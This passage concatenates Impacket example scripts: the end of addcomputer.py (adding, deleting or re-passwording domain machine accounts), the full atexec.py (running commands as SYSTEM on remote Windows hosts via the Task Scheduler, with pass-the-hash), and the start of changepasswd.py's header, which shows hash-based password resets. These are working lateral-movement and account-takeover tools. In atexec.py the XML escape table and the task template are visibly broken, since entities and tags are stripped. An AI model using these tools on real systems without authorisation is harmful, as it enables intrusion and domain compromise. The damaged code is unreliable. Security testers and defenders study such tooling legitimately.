(@jagotu) # # Reference for: # SMB, SAMR, LDAP # # ToDo: # [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol # from __future__ import division from __future__ import print_function from __future__ import unicode_literals from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.dcerpc.v5 import samr, epm, transport from impacket.spnego import SPNEGO_NegTokenInit, TypesMech import ldap3 import argparse import logging import sys import string import random import ssl from binascii import unhexlify class ADDCOMPUTER: def __init__(self, username, password, domain, cmdLineOptions): self.options = cmdLineOptions self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__hashes = cmdLineOptions.hashes self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k self.__target = cmdLineOptions.dc_host self.__kdcHost = cmdLineOptions.dc_host self.__computerName = cmdLineOptions.computer_name self.__computerPassword = cmdLineOptions.computer_pass self.__method = cmdLineOptions.method self.__port = cmdLineOptions.port self.__domainNetbios = cmdLineOptions.domain_netbios self.__noAdd = cmdLineOptions.no_add self.__delete = cmdLineOptions.delete self.__targetIp = cmdLineOptions.dc_ip self.__baseDN = cmdLineOptions.baseDN self.__computerGroup = cmdLineOptions.computer_group if self.__targetIp is not None: self.__kdcHost = self.__targetIp if self.__method not in ['SAMR', 'LDAPS']: raise ValueError("Unsupported method %s" % self.__method) if self.__doKerberos and cmdLineOptions.dc_host is None: raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.") if self.__method == 'LDAPS' and not '.' in self.__domain: logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain) if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') if self.__computerName is None: if self.__noAdd: raise ValueError("You have to provide a computer name when using -no-add.") elif self.__delete: raise ValueError("You have to provide a computer name when using -delete.") else: if self.__computerName[-1] != '$': self.__computerName += '$' if self.__computerPassword is None: self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) if self.__target is None: if not '.' in self.__domain: logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain) self.__target = self.__domain if self.__port is None: if self.__method == 'SAMR': self.__port = 445 elif self.__method == 'LDAPS': self.__port = 636 if self.__domainNetbios is None: self.__domainNetbios = self.__domain if self.__method == 'LDAPS' and self.__baseDN is None: # Create the baseDN domainParts = self.__domain.split('.') self.__baseDN = '' for i in domainParts: self.__baseDN += 'dc=%s,' % i # Remove last ',' self.__baseDN = self.__baseDN[:-1] if self.__method == 'LDAPS' and self.__computerGroup is None: self.__computerGroup = 'CN=Computers,' + self.__baseDN def run_samr(self): if self.__targetIp is not None: stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') else: stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.set_dport(self.__port) if self.__targetIp is not None: rpctransport.setRemoteHost(self.__targetIp) rpctransport.setRemoteName(self.__target) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.doSAMRAdd(rpctransport) def run_ldaps(self): connectTo = self.__target if self.__targetIp is not None: connectTo = self.__targetIp try: user = '%s\\%s' % (self.__domain, self.__username) tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0') try: ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) if self.__doKerberos: ldapConn = ldap3.Connection(ldapServer) self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) elif self.__hashes is not None: ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) ldapConn.bind() else: ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) ldapConn.bind() except ldap3.core.exceptions.LDAPSocketOpenError: #try tlsv1 tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1, ciphers='ALL:@SECLEVEL=0') ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) if self.__doKerberos: ldapConn = ldap3.Connection(ldapServer) self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) elif self.__hashes is not None: ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) ldapConn.bind() else: ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) ldapConn.bind() if self.__noAdd or self.__delete: if not self.LDAPComputerExists(ldapConn, self.__computerName): raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN)) computer = self.LDAPGetComputer(ldapConn, self.__computerName) if self.__delete: res = ldapConn.delete(computer.entry_dn) message = "delete" else: res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]}) message = "set password for" if not res: if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) else: raise Exception(str(ldapConn.result)) else: if self.__noAdd: logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) else: logging.info("Succesfully deleted %s." % self.__computerName) else: if self.__computerName is not None: if self.LDAPComputerExists(ldapConn, self.__computerName): raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) else: while True: self.__computerName = self.generateComputerName() if not self.LDAPComputerExists(ldapConn, self.__computerName): break computerHostname = self.__computerName[:-1] computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup)) # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, self.__domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, self.__domain), 'userAccountControl': 0x1000, 'servicePrincipalName': spns, 'sAMAccountName': self.__computerName, 'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le') } res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd) if not res: if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM: error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16) if error_code == 0x216D: raise Exception("User %s machine quota exceeded!" % self.__username) else: raise Exception(str(ldapConn.result)) elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: raise Exception("User %s doesn't have right to create a machine account!" % self.__username) else: raise Exception(str(ldapConn.result)) else: logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) def LDAPComputerExists(self, connection, computerName): connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) return len(connection.entries) ==1 def LDAPGetComputer(self, connection, computerName): connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) return connection.entries[0] def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): from pyasn1.codec.ber import encoder, decoder from pyasn1.type.univ import noValue """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises an Exception if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False targetName = 'ldap/%s' % self.__target if useCache: domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName) # First of all, we need to get a TGT for the user userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) # Done with the Kerberos saga, now let's get into LDAP # try to open connection if closed if connection.closed: connection.open(read_server_info=False) connection.sasl_in_progress = True response = connection.post_send_single_response(connection.send('bindRequest', request, None)) connection.sasl_in_progress = False if response[0]['result'] != 0: raise Exception(response) connection.bound = True return True def generateComputerName(self): return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$') def doSAMRAdd(self, rpctransport): dce = rpctransport.get_dce_rpc() servHandle = None domainHandle = None userHandle = None try: dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target, samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN ) servHandle = samrConnectResponse['ServerHandle'] samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle) domains = samrEnumResponse['Buffer']['Buffer'] domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains)) if len(domainsWithoutBuiltin) > 1: domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains)) if len(domain) != 1: logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios) logging.critical("Available domain(s):") for domain in domains: logging.error(" * %s" % domain['Name']) logging.critical("Consider using -domain-netbios argument to specify which one you meant.") raise Exception() else: selectedDomain = domain[0]['Name'] else: selectedDomain = domainsWithoutBuiltin[0]['Name'] samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain) domainSID = samrLookupDomainResponse['DomainId'] if logging.getLogger().level == logging.DEBUG: logging.info("Opening domain %s..." % selectedDomain) samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID) domainHandle = samrOpenDomainResponse['DomainHandle'] if self.__noAdd or self.__delete: try: checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) except samr.DCERPCSessionError as e: if e.error_code == 0xc0000073: raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain)) else: raise userRID = checkForUser['RelativeIds']['Element'][0] if self.__delete: access = samr.DELETE message = "delete" else: access = samr.USER_FORCE_PASSWORD_CHANGE message = "set password for" try: openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID) userHandle = openUser['UserHandle'] except samr.DCERPCSessionError as e: if e.error_code == 0xc0000022: raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) else: raise else: if self.__computerName is not None: try: checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) except samr.DCERPCSessionError as e: if e.error_code != 0xc0000073: raise else: foundUnused = False while not foundUnused: self.__computerName = self.generateComputerName() try: checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) except samr.DCERPCSessionError as e: if e.error_code == 0xc0000073: foundUnused = True else: raise try: createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) except samr.DCERPCSessionError as e: if e.error_code == 0xc0000022: raise Exception("User %s doesn't have right to create a machine account!" % self.__username) elif e.error_code == 0xc00002e7: raise Exception("User %s machine quota exceeded!" % self.__username) else: raise userHandle = createUser['UserHandle'] if self.__delete: samr.hSamrDeleteUser(dce, userHandle) logging.info("Successfully deleted %s." % self.__computerName) userHandle = None else: samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword) if self.__noAdd: logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) else: checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) userRID = checkForUser['RelativeIds']['Element'][0] openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID) userHandle = openUser['UserHandle'] req = samr.SAMPR_USER_INFO_BUFFER() req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT samr.hSamrSetInformationUser2(dce, userHandle, req) logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.critical(str(e)) finally: if userHandle is not None: samr.hSamrCloseHandle(dce, userHandle) if domainHandle is not None: samr.hSamrCloseHandle(dce, domainHandle) if servHandle is not None: samr.hSamrCloseHandle(dce, servHandle) dce.disconnect() def run(self): if self.__method == 'SAMR': self.run_samr() elif self.__method == 'LDAPS': self.run_ldaps() # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print((version.BANNER)) parser = argparse.ArgumentParser(add_help = True, description = "Adds a computer account to domain") if sys.version_info.major == 2 and sys.version_info.minor == 7 and sys.version_info.micro < 16: #workaround for https://bugs.python.org/issue11874 parser.add_argument('account', action='store', help='[domain/]username[:password] Account used to authenticate to DC.') else: parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.') parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.') parser.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.' 'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.') parser.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer' 'If omitted, a random [A-Za-z0-9]{32} will be used.') parser.add_argument('-no-add', action='store_true', help='Don\'t add a computer, only set password on existing one.') parser.add_argument('-delete', action='store_true', help='Delete an existing computer.') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-method', choices=['SAMR', 'LDAPS'], default='SAMR', help='Method of adding the computer.' 'SAMR works over SMB.' 'LDAPS has some certificate requirements' 'and isn\'t always available.') parser.add_argument('-port', type=int, choices=[139, 445, 636], help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.') group = parser.add_argument_group('LDAP') group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.' 'If ommited, the domain part (FQDN) ' 'specified in the account parameter will be used.') group.add_argument('-computer-group', action='store', metavar='CN=Computers,DC=test,DC=local', help='Group to which the account will be added.' 'If omitted, CN=Computers will be used,') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on account parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. ' 'If ommited, the domain part (FQDN) ' 'specified in the account parameter will be used') group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. ' 'Useful if you can\'t translate the FQDN.' 'specified in the account parameter will be used') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password = parse_credentials(options.account) try: if domain is None or domain == '': logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = ADDCOMPUTER(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(str(e)) impacket-impacket_0_11_0/examples/atexec.py000077500000000000000000000311521446174712300210640ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # ATSVC example for some functions implemented, creates, enums, runs, delete jobs # This example executes a command on the target machine through the Task Scheduler # service. Returns the output of such command # # Author: # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC for TSCH # from __future__ import division from __future__ import print_function import string import sys import argparse import time import random import logging from impacket.examples import logger from impacket import version from impacket.dcerpc.v5 import tsch, transport from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, \ RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.examples.utils import parse_target from impacket.krb5.keytab import Keytab from six import PY2 CODEC = sys.stdout.encoding class TSCH_EXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, command=None, sessionId=None, silentCommand=False): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__command = command self.__silentCommand = silentCommand self.sessionId = sessionId if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def play(self, addr): stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) try: self.doStuff(rpctransport) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0: logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work') def doStuff(self, rpctransport): def output_callback(data): try: print(data.decode(CODEC)) except UnicodeDecodeError: logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute atexec.py ' 'again with -codec and the corresponding codec') print(data.decode(CODEC, errors='replace')) def xml_escape(data): replace_table = { "&": "&", '"': """, "'": "'", ">": ">", "<": "<", } return ''.join(replace_table.get(c, c) for c in data) def cmd_split(cmdline): cmdline = cmdline.split(" ", 1) cmd = cmdline[0] args = cmdline[1] if len(cmdline) > 1 else '' return [cmd, args] dce = rpctransport.get_dce_rpc() dce.set_credentials(*rpctransport.get_credentials()) if self.__doKerberos is True: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) tmpFileName = tmpName + '.tmp' if self.sessionId is not None: cmd, args = cmd_split(self.__command) else: cmd = "cmd.exe" args = "/C %s > %%windir%%\\Temp\\%s 2>&1" % (self.__command, tmpFileName) xml = """ 2015-07-15T20:35:13.2757294 true 1 S-1-5-18 HighestAvailable IgnoreNew false false true false true false true true true false false P3D 7 %s %s """ % ((xml_escape(cmd) if self.__silentCommand is False else self.__command.split()[0]), (xml_escape(args) if self.__silentCommand is False else " ".join(self.__command.split()[1:]))) taskCreated = False try: logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True logging.info('Running task \\%s' % tmpName) done = False if self.sessionId is None: tsch.hSchRpcRun(dce, '\\%s' % tmpName) else: try: tsch.hSchRpcRun(dce, '\\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId) except Exception as e: if str(e).find('ERROR_FILE_NOT_FOUND') >= 0 or str(e).find('E_INVALIDARG') >= 0 : logging.info('The specified session doesn\'t exist!') done = True else: raise while not done: logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: time.sleep(2) logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False except tsch.DCERPCSessionError as e: logging.error(e) e.get_packet().dump() finally: if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) if self.sessionId is not None: dce.disconnect() return if self.__silentCommand: dce.disconnect() return smbConnection = rpctransport.get_smb_connection() waitOnce = True while True: try: logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) break except Exception as e: if str(e).find('SHARING') > 0: time.sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: if waitOnce is True: # We're giving it the chance to flush the file before giving up time.sleep(3) waitOnce = False else: raise else: raise logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect() # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('command', action='store', nargs='*', default=' ', help='command to execute at the target ') parser.add_argument('-session-id', action='store', type=int, help='an existed logon session to use (no output, no cmd.exe)') parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') parser.add_argument('-silentcommand', action='store_true', default = False, help='does not execute cmd.exe to run ' 'given command (no output)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' 'again with -codec and the corresponding codec ' % CODEC) group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' 'If omitted it will use the domain part (FQDN) specified in the target parameter') group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.codec is not None: CODEC = options.codec else: if CODEC is None: CODEC = 'utf-8' logging.warning("This will work ONLY on Windows >= Vista") if ''.join(options.command) == ' ': logging.error('You need to specify a command to execute!') sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = parse_target(options.target) if domain is None: domain = '' if options.keytab is not None: Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, ' '.join(options.command), options.session_id, options.silentcommand) atsvc_exec.play(address) impacket-impacket_0_11_0/examples/changepasswd.py000077500000000000000000001126361446174712300222710ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script is a collection of functions to change or reset the password of # a user via various protocols. It supports: # - MS-SAMR over SMB or RPC transport (NetUserChangePassword and NetUserSetInfo protocols) # - Kerberos change-password and reset-password protocols # - LDAP password change and reset # # The last documented mechanism (XACT-SMB) is not implemented. # # A password change can usually be initiated when the previous password (or its # hash) is known, by the account itself or any other user. # A password reset requires additional permissions and may in some case bypass # password policies. # # Tradeoff of the different protocols: # - MS-SAMR over SMB: (smbpasswd) # * SMB communication with the server or domain controller is required # * Can perform password change when the current password is expired # * Supports plaintext password and NTLM hashes as the new password value # * If provided as plaintext, password policy is enforced # * If using NTLM hashes, the new password is flagged as expired # * If using password reset with a NTLM hash, password policy and history is ignored # * When using hashes for change or reset, Kerberos keys are not created # - MS-SAMR over MS-RPC: # * RPC communication over TCP/135 and random ports # * Cannot get a handle on user object with default AD configuration: # - cannot use hSamrChangePasswordUser to change password with hashes only # - cannot use hSamrSetInformationUser to reset the password # * Password policy is enforced # - Kerberos Change Password: (kpasswd) # * Must use Kerberos authentication # * Must have a valid TGT/key or valid password for the user # * Must provide the new password as plaintext # * Password policy is enforced # - Kerberos Set Password: # * Must use Kerberos authentication # * Must have a valid TGT/key or valid password for the admin # * Must provide the new password as plaintext # - LDAP password change: # * The server must support TLS. If the DC is misconfigured, you cannot connect # * Must provide the old and new passwords as plaintext # * Password policy is enforced # - LDAP password set: # * The server must support TLS. If the DC is misconfigured, you cannot connect # * Must provide the new password as plaintext # # Examples: # SAMR protocol over SMB transport to change passwords (like smbpasswd, -protocol smb-samr is implied) # changepasswd.py j.doe@192.168.1.11 # changepasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 # changepasswd.py -protocol smb-samr contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # changepasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb # changepasswd.py contoso.local/j.doe@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -k -no-pass # # SAMR protocol over SMB transport to reset passwords (like smbpasswd, -protocol smb-samr is implied) # changepasswd.py -reset contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # -altuser administrator -altpass 'Adm1nPassw0rd!' # changepasswd.py -reset -protocol smb-samr contoso.local/j.doe:'Passw0rd!'@DC1 # -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' # changepasswd.py -reset SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb # -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab # changepasswd.py -reset 